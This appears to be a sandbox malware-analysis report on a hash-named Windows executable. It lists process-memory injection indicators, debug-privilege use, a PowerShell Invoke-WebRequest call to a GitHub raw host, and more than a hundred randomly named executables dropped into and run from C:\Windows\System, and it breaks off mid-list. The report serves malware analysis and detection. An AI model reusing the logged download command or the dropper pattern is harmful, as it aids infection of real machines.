Token: SeDebugPrivilege	2424	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1424 wrote to memory of 2424	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	29
PID 1424 wrote to memory of 2424	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	29
PID 1424 wrote to memory of 2424	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	29
PID 1424 wrote to memory of 2004	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	30
PID 1424 wrote to memory of 2004	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	30
PID 1424 wrote to memory of 2004	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	30
PID 1424 wrote to memory of 1288	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	31
PID 1424 wrote to memory of 1288	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	31
PID 1424 wrote to memory of 1288	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	31
PID 1424 wrote to memory of 2736	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	32
PID 1424 wrote to memory of 2736	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	32
PID 1424 wrote to memory of 2736	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	32
PID 1424 wrote to memory of 2884	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	33
PID 1424 wrote to memory of 2884	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	33
PID 1424 wrote to memory of 2884	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	33
PID 1424 wrote to memory of 2760	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	34
PID 1424 wrote to memory of 2760	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	34
PID 1424 wrote to memory of 2760	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	34
PID 1424 wrote to memory of 3008	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	35
PID 1424 wrote to memory of 3008	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	35
PID 1424 wrote to memory of 3008	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	35
PID 1424 wrote to memory of 2576	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	36
PID 1424 wrote to memory of 2576	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	36
PID 1424 wrote to memory of 2576	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	36
PID 1424 wrote to memory of 2964	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	37
PID 1424 wrote to memory of 2964	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	37
PID 1424 wrote to memory of 2964	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	37
PID 1424 wrote to memory of 2984	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	38
PID 1424 wrote to memory of 2984	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	38
PID 1424 wrote to memory of 2984	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	38
PID 1424 wrote to memory of 2560	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	39
PID 1424 wrote to memory of 2560	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	39
PID 1424 wrote to memory of 2560	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	39
PID 1424 wrote to memory of 2712	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	40
PID 1424 wrote to memory of 2712	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	40
PID 1424 wrote to memory of 2712	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	40
PID 1424 wrote to memory of 2952	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	41
PID 1424 wrote to memory of 2952	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	41
PID 1424 wrote to memory of 2952	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	41
PID 1424 wrote to memory of 1628	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	42
PID 1424 wrote to memory of 1628	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	42
PID 1424 wrote to memory of 1628	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	42
PID 1424 wrote to memory of 1940	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	43
PID 1424 wrote to memory of 1940	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	43
PID 1424 wrote to memory of 1940	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	43
PID 1424 wrote to memory of 336	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	44
PID 1424 wrote to memory of 336	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	44
PID 1424 wrote to memory of 336	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	44
PID 1424 wrote to memory of 1632	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	45
PID 1424 wrote to memory of 1632	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	45
PID 1424 wrote to memory of 1632	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	45
PID 1424 wrote to memory of 2328	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	46
PID 1424 wrote to memory of 2328	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	46
PID 1424 wrote to memory of 2328	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	46
PID 1424 wrote to memory of 2488	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	47
PID 1424 wrote to memory of 2488	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	47
PID 1424 wrote to memory of 2488	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	47
PID 1424 wrote to memory of 1152	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	48
PID 1424 wrote to memory of 1152	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	48
PID 1424 wrote to memory of 1152	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	48
PID 1424 wrote to memory of 2596	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	49
PID 1424 wrote to memory of 2596	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	49
PID 1424 wrote to memory of 2596	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	49
PID 1424 wrote to memory of 2056	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\System\jLpjtKM.exe
  C:\Windows\System\jLpjtKM.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\RfBewot.exe
  C:\Windows\System\RfBewot.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\OaQKPio.exe
  C:\Windows\System\OaQKPio.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\asMIPqQ.exe
  C:\Windows\System\asMIPqQ.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\NJkkyaT.exe
  C:\Windows\System\NJkkyaT.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\znSZCkS.exe
  C:\Windows\System\znSZCkS.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\CiQMinG.exe
  C:\Windows\System\CiQMinG.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\ouMSgIj.exe
  C:\Windows\System\ouMSgIj.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\pdTXwLw.exe
  C:\Windows\System\pdTXwLw.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\eNDTmkk.exe
  C:\Windows\System\eNDTmkk.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\eJxSRDW.exe
  C:\Windows\System\eJxSRDW.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\PwHsmuZ.exe
  C:\Windows\System\PwHsmuZ.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\bmPHIYW.exe
  C:\Windows\System\bmPHIYW.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\mwAOeIZ.exe
  C:\Windows\System\mwAOeIZ.exe
  2⤵
  - Executes dropped EXE
  PID:1940
- C:\Windows\System\OXJzPRB.exe
  C:\Windows\System\OXJzPRB.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\DvuvQqI.exe
  C:\Windows\System\DvuvQqI.exe
  2⤵
  - Executes dropped EXE
  PID:1632
- C:\Windows\System\ihuACBd.exe
  C:\Windows\System\ihuACBd.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\ojMJjVW.exe
  C:\Windows\System\ojMJjVW.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\vnEfUwA.exe
  C:\Windows\System\vnEfUwA.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\bxybVpG.exe
  C:\Windows\System\bxybVpG.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\wRPNEpQ.exe
  C:\Windows\System\wRPNEpQ.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\zvcEnzT.exe
  C:\Windows\System\zvcEnzT.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\wCTWDSo.exe
  C:\Windows\System\wCTWDSo.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\vZVgMOp.exe
  C:\Windows\System\vZVgMOp.exe
  2⤵
  - Executes dropped EXE
  PID:1724
- C:\Windows\System\vyOsudp.exe
  C:\Windows\System\vyOsudp.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\qFCIWet.exe
  C:\Windows\System\qFCIWet.exe
  2⤵
  - Executes dropped EXE
  PID:528
- C:\Windows\System\eMpsMdp.exe
  C:\Windows\System\eMpsMdp.exe
  2⤵
  - Executes dropped EXE
  PID:480
- C:\Windows\System\TgjwAKL.exe
  C:\Windows\System\TgjwAKL.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\YYslSNX.exe
  C:\Windows\System\YYslSNX.exe
  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\MLSGwGF.exe
  C:\Windows\System\MLSGwGF.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\AyxpjuP.exe
  C:\Windows\System\AyxpjuP.exe
  2⤵
  - Executes dropped EXE
  PID:632
- C:\Windows\System\dSnfhsP.exe
  C:\Windows\System\dSnfhsP.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\HXXvsrT.exe
  C:\Windows\System\HXXvsrT.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\goHtUmV.exe
  C:\Windows\System\goHtUmV.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\YXcNjRG.exe
  C:\Windows\System\YXcNjRG.exe
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Windows\System\KDPoATw.exe
  C:\Windows\System\KDPoATw.exe
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Windows\System\CoTQXfs.exe
  C:\Windows\System\CoTQXfs.exe
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Windows\System\HUhEvUL.exe
  C:\Windows\System\HUhEvUL.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\YuSuNTp.exe
  C:\Windows\System\YuSuNTp.exe
  2⤵
  - Executes dropped EXE
  PID:1852
- C:\Windows\System\bwGCKlQ.exe
  C:\Windows\System\bwGCKlQ.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\WyJaEMg.exe
  C:\Windows\System\WyJaEMg.exe
  2⤵
  - Executes dropped EXE
  PID:2244
- C:\Windows\System\pSfaWRp.exe
  C:\Windows\System\pSfaWRp.exe
  2⤵
  - Executes dropped EXE
  PID:752
- C:\Windows\System\vyuZksG.exe
  C:\Windows\System\vyuZksG.exe
  2⤵
  - Executes dropped EXE
  PID:2148
- C:\Windows\System\hWkHeza.exe
  C:\Windows\System\hWkHeza.exe
  2⤵
  - Executes dropped EXE
  PID:1936
- C:\Windows\System\IHLLQGt.exe
  C:\Windows\System\IHLLQGt.exe
  2⤵
  - Executes dropped EXE
  PID:2176
- C:\Windows\System\PQcjatt.exe
  C:\Windows\System\PQcjatt.exe
  2⤵
  - Executes dropped EXE
  PID:284
- C:\Windows\System\SabJxoT.exe
  C:\Windows\System\SabJxoT.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\xlHhleb.exe
  C:\Windows\System\xlHhleb.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\BcslHVA.exe
  C:\Windows\System\BcslHVA.exe
  2⤵
  - Executes dropped EXE
  PID:604
- C:\Windows\System\UAmMPYu.exe
  C:\Windows\System\UAmMPYu.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\DFJbhtY.exe
  C:\Windows\System\DFJbhtY.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\zsNhNvm.exe
  C:\Windows\System\zsNhNvm.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\cgzBnrf.exe
  C:\Windows\System\cgzBnrf.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\KSHgFnU.exe
  C:\Windows\System\KSHgFnU.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\cOLKdPV.exe
  C:\Windows\System\cOLKdPV.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\LSMoBUt.exe
  C:\Windows\System\LSMoBUt.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\nMEuwxm.exe
  C:\Windows\System\nMEuwxm.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\XduiHjD.exe
  C:\Windows\System\XduiHjD.exe
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Windows\System\tviyOml.exe
  C:\Windows\System\tviyOml.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\oHBmmyD.exe
  C:\Windows\System\oHBmmyD.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\OOctJgf.exe
  C:\Windows\System\OOctJgf.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\riIAbzP.exe
  C:\Windows\System\riIAbzP.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\DHHliWV.exe
  C:\Windows\System\DHHliWV.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\zANUzBT.exe
  C:\Windows\System\zANUzBT.exe
  2⤵
  - Executes dropped EXE
  PID:392
- C:\Windows\System\rjjGPZS.exe
  C:\Windows\System\rjjGPZS.exe
  2⤵
  PID:2240
- C:\Windows\System\yOTitLO.exe
  C:\Windows\System\yOTitLO.exe
  2⤵
  PID:1420
- C:\Windows\System\GFwZAMS.exe
  C:\Windows\System\GFwZAMS.exe
  2⤵
  PID:2276
- C:\Windows\System\NoKCxxA.exe
  C:\Windows\System\NoKCxxA.exe
  2⤵
  PID:2648
- C:\Windows\System\ucZVcXa.exe
  C:\Windows\System\ucZVcXa.exe
  2⤵
  PID:1560
- C:\Windows\System\qDRmshp.exe
  C:\Windows\System\qDRmshp.exe
  2⤵
  PID:2432
- C:\Windows\System\VEeiOjA.exe
  C:\Windows\System\VEeiOjA.exe
  2⤵
  PID:840
- C:\Windows\System\nsclNzA.exe
  C:\Windows\System\nsclNzA.exe
  2⤵
  PID:1676
- C:\Windows\System\qScoZgy.exe
  C:\Windows\System\qScoZgy.exe
  2⤵
  PID:2072
- C:\Windows\System\tGYAwTN.exe
  C:\Windows\System\tGYAwTN.exe
  2⤵
  PID:1228
- C:\Windows\System\TzDpFnO.exe
  C:\Windows\System\TzDpFnO.exe
  2⤵
  PID:2540
- C:\Windows\System\gBVrpDC.exe
  C:\Windows\System\gBVrpDC.exe
  2⤵
  PID:1464
- C:\Windows\System\jaoUwEx.exe
  C:\Windows\System\jaoUwEx.exe
  2⤵
  PID:444
- C:\Windows\System\wYasKfv.exe
  C:\Windows\System\wYasKfv.exe
  2⤵
  PID:2472
- C:\Windows\System\QtwdJCM.exe
  C:\Windows\System\QtwdJCM.exe
  2⤵
  PID:2316
- C:\Windows\System\VFmsbmA.exe
  C:\Windows\System\VFmsbmA.exe
  2⤵
  PID:1536
- C:\Windows\System\ukVvFxF.exe
  C:\Windows\System\ukVvFxF.exe
  2⤵
  PID:1564
- C:\Windows\System\lADjZgV.exe
  C:\Windows\System\lADjZgV.exe
  2⤵
  PID:1388
- C:\Windows\System\eDQPFgL.exe
  C:\Windows\System\eDQPFgL.exe
  2⤵
  PID:1768
- C:\Windows\System\Qnzovlh.exe
  C:\Windows\System\Qnzovlh.exe
  2⤵
  PID:924
- C:\Windows\System\IelbjeJ.exe
  C:\Windows\System\IelbjeJ.exe
  2⤵
  PID:2872
- C:\Windows\System\eqoJlSQ.exe
  C:\Windows\System\eqoJlSQ.exe
  2⤵
  PID:2100
- C:\Windows\System\cigRoJM.exe
  C:\Windows\System\cigRoJM.exe
  2⤵
  PID:2036
- C:\Windows\System\DAvVmNQ.exe
  C:\Windows\System\DAvVmNQ.exe
  2⤵
  PID:2376
- C:\Windows\System\hshVdNy.exe
  C:\Windows\System\hshVdNy.exe
  2⤵
  PID:2988
- C:\Windows\System\nqykHOS.exe
  C:\Windows\System\nqykHOS.exe
  2⤵
  PID:1588
- C:\Windows\System\NwSTKzY.exe
  C:\Windows\System\NwSTKzY.exe
  2⤵
  PID:2224
- C:\Windows\System\FuQkFPK.exe
  C:\Windows\System\FuQkFPK.exe
  2⤵
  PID:2968
- C:\Windows\System\Jvrgblt.exe
  C:\Windows\System\Jvrgblt.exe
  2⤵
  PID:2660
- C:\Windows\System\YfioCoV.exe
  C:\Windows\System\YfioCoV.exe
  2⤵
  PID:2288
- C:\Windows\System\qICbNWE.exe
  C:\Windows\System\qICbNWE.exe
  2⤵
  PID:2800
- C:\Windows\System\ztXpMAY.exe
  C:\Windows\System\ztXpMAY.exe
  2⤵
  PID:2552
- C:\Windows\System\pRikuoH.exe
  C:\Windows\System\pRikuoH.exe
  2⤵
  PID:1944
- C:\Windows\System\fZioiwx.exe
  C:\Windows\System\fZioiwx.exe
  2⤵
  PID:2160
- C:\Windows\System\YtmPJGQ.exe
  C:\Windows\System\YtmPJGQ.exe
  2⤵
  PID:1504
- C:\Windows\System\XoWAaNw.exe
  C:\Windows\System\XoWAaNw.exe
  2⤵
  PID:2776
- C:\Windows\System\YYDyshY.exe
  C:\Windows\System\YYDyshY.exe
  2⤵
  PID:2080
- C:\Windows\System\YwlLtbs.exe
  C:\Windows\System\YwlLtbs.exe
  2⤵
  PID:2592
- C:\Windows\System\osrYuHe.exe
  C:\Windows\System\osrYuHe.exe
  2⤵
  PID:2096
- C:\Windows\System\VsxfDrk.exe
  C:\Windows\System\VsxfDrk.exe
  2⤵
  PID:2908
- C:\Windows\System\jfhyqGu.exe
  C:\Windows\System\jfhyqGu.exe
  2⤵
  PID:576
- C:\Windows\System\mIXEAlr.exe
  C:\Windows\System\mIXEAlr.exe
  2⤵
  PID:2448
- C:\Windows\System\pIklKiD.exe
  C:\Windows\System\pIklKiD.exe
  2⤵
  PID:2152
- C:\Windows\System\uqquXEW.exe
  C:\Windows\System\uqquXEW.exe
  2⤵
  PID:1088
- C:\Windows\System\TWqKIBf.exe
  C:\Windows\System\TWqKIBf.exe
  2⤵
  PID:896
- C:\Windows\System\SjRMXfW.exe
  C:\Windows\System\SjRMXfW.exe
  2⤵
  PID:1492
- C:\Windows\System\WJkNeXY.exe
  C:\Windows\System\WJkNeXY.exe
  2⤵
  PID:1136
- C:\Windows\System\NDWyaDY.exe
  C:\Windows\System\NDWyaDY.exe
  2⤵
  PID:2272
- C:\Windows\System\UlERVUi.exe
  C:\Windows\System\UlERVUi.exe
  2⤵
  PID:1732
- C:\Windows\System\YfjRuCw.exe
  C:\Windows\System\YfjRuCw.exe
  2⤵
  PID:2628
- C:\Windows\System\yPHheIx.exe
  C:\Windows\System\yPHheIx.exe
  2⤵
  PID:2528
- C:\Windows\System\euzTaxz.exe
  C:\Windows\System\euzTaxz.exe
  2⤵
  PID:2756
- C:\Windows\System\dxFUMpM.exe
  C:\Windows\System\dxFUMpM.exe
  2⤵
  PID:2188
- C:\Windows\System\TSUTDkK.exe
  C:\Windows\System\TSUTDkK.exe
  2⤵
  PID:2752
- C:\Windows\System\JxmUseN.exe
  C:\Windows\System\JxmUseN.exe
  2⤵
  PID:2264
- C:\Windows\System\OAEIUST.exe
  C:\Windows\System\OAEIUST.exe
  2⤵
  PID:1620
- C:\Windows\System\eSKOkKH.exe
  C:\Windows\System\eSKOkKH.exe
  2⤵
  PID:1660
- C:\Windows\System\FGeTmAB.exe
  C:\Windows\System\FGeTmAB.exe
  2⤵
  PID:2360
- C:\Windows\System\FUjVDJF.exe
  C:\Windows\System\FUjVDJF.exe
  2⤵
  PID:2300
- C:\Windows\System\DkdhBzi.exe
  C:\Windows\System\DkdhBzi.exe
  2⤵
  PID:1144
- C:\Windows\System\qKtPzTT.exe
  C:\Windows\System\qKtPzTT.exe
  2⤵
  PID:2828
- C:\Windows\System\LmDyTVD.exe
  C:\Windows\System\LmDyTVD.exe
  2⤵
  PID:1344
- C:\Windows\System\EyhIfzU.exe
  C:\Windows\System\EyhIfzU.exe
  2⤵
  PID:1488
- C:\Windows\System\eTZPkqm.exe
  C:\Windows\System\eTZPkqm.exe
  2⤵
  PID:2840
- C:\Windows\System\PNWMQbZ.exe
  C:\Windows\System\PNWMQbZ.exe
  2⤵
  PID:2972
- C:\Windows\System\lMLrzAN.exe
  C:\Windows\System\lMLrzAN.exe
  2⤵
  PID:1908
- C:\Windows\System\JtUqeLu.exe
  C:\Windows\System\JtUqeLu.exe
  2⤵
  PID:3088
- C:\Windows\System\MCaMTxy.exe
  C:\Windows\System\MCaMTxy.exe
  2⤵
  PID:3104
- C:\Windows\System\dTSzPiu.exe
  C:\Windows\System\dTSzPiu.exe
  2⤵
  PID:3120
- C:\Windows\System\VceWJSz.exe
  C:\Windows\System\VceWJSz.exe
  2⤵
  PID:3136
- C:\Windows\System\NVuTpcw.exe
  C:\Windows\System\NVuTpcw.exe
  2⤵
  PID:3156
- C:\Windows\System\JiIVEUa.exe
  C:\Windows\System\JiIVEUa.exe
  2⤵
  PID:3176
- C:\Windows\System\wmfkkVM.exe
  C:\Windows\System\wmfkkVM.exe
  2⤵
  PID:3192
- C:\Windows\System\PsBKgcg.exe
  C:\Windows\System\PsBKgcg.exe
  2⤵
  PID:3208
- C:\Windows\System\mQsyyWM.exe
  C:\Windows\System\mQsyyWM.exe
  2⤵
  PID:3224
- C:\Windows\System\ykiKrNS.exe
  C:\Windows\System\ykiKrNS.exe
  2⤵
  PID:3240
- C:\Windows\System\mLZJdmS.exe
  C:\Windows\System\mLZJdmS.exe
  2⤵
  PID:3292
- C:\Windows\System\AWpENKs.exe
  C:\Windows\System\AWpENKs.exe
  2⤵
  PID:3308
- C:\Windows\System\GFlucHH.exe
  C:\Windows\System\GFlucHH.exe
  2⤵
  PID:3324
- C:\Windows\System\tzxTuda.exe
  C:\Windows\System\tzxTuda.exe
  2⤵
  PID:3340
- C:\Windows\System\DuCRSap.exe
  C:\Windows\System\DuCRSap.exe
  2⤵
  PID:3356
- C:\Windows\System\ItyuRKy.exe
  C:\Windows\System\ItyuRKy.exe
  2⤵
  PID:3372
- C:\Windows\System\HCMvJeX.exe
  C:\Windows\System\HCMvJeX.exe
  2⤵
  PID:3388
- C:\Windows\System\himvSUw.exe
  C:\Windows\System\himvSUw.exe
  2⤵
  PID:3404
- C:\Windows\System\XybjqBS.exe
  C:\Windows\System\XybjqBS.exe
  2⤵
  PID:3420
- C:\Windows\System\ZfblfRY.exe
  C:\Windows\System\ZfblfRY.exe
  2⤵
  PID:3436
- C:\Windows\System\tnSDlRU.exe
  C:\Windows\System\tnSDlRU.exe
  2⤵
  PID:3452
- C:\Windows\System\BwxfqHg.exe
  C:\Windows\System\BwxfqHg.exe
  2⤵
  PID:3468
- C:\Windows\System\YxHiuiX.exe
  C:\Windows\System\YxHiuiX.exe
  2⤵
  PID:3484
- C:\Windows\System\qaehgpk.exe
  C:\Windows\System\qaehgpk.exe
  2⤵
  PID:3500
- C:\Windows\System\axWrJoF.exe
  C:\Windows\System\axWrJoF.exe
  2⤵
  PID:3516
- C:\Windows\System\sRrHNIp.exe
  C:\Windows\System\sRrHNIp.exe
  2⤵
  PID:3532
- C:\Windows\System\MROhhjo.exe
  C:\Windows\System\MROhhjo.exe
  2⤵
  PID:3548
- C:\Windows\System\cqIquGB.exe
  C:\Windows\System\cqIquGB.exe
  2⤵
  PID:3564
- C:\Windows\System\JYdopFw.exe
  C:\Windows\System\JYdopFw.exe
  2⤵
  PID:3580
- C:\Windows\System\PwvQPeU.exe
  C:\Windows\System\PwvQPeU.exe
  2⤵
  PID:3596
- C:\Windows\System\cgiDOIP.exe
  C:\Windows\System\cgiDOIP.exe
  2⤵
  PID:3612
- C:\Windows\System\JNlUJgH.exe
  C:\Windows\System\JNlUJgH.exe
  2⤵
  PID:3628
- C:\Windows\System\eSwWTkS.exe
  C:\Windows\System\eSwWTkS.exe
  2⤵
  PID:3644
- C:\Windows\System\QPOPjOt.exe
  C:\Windows\System\QPOPjOt.exe
  2⤵
  PID:3660
- C:\Windows\System\snUpBKV.exe
  C:\Windows\System\snUpBKV.exe
  2⤵
  PID:3676
- C:\Windows\System\uXXZhOY.exe
  C:\Windows\System\uXXZhOY.exe
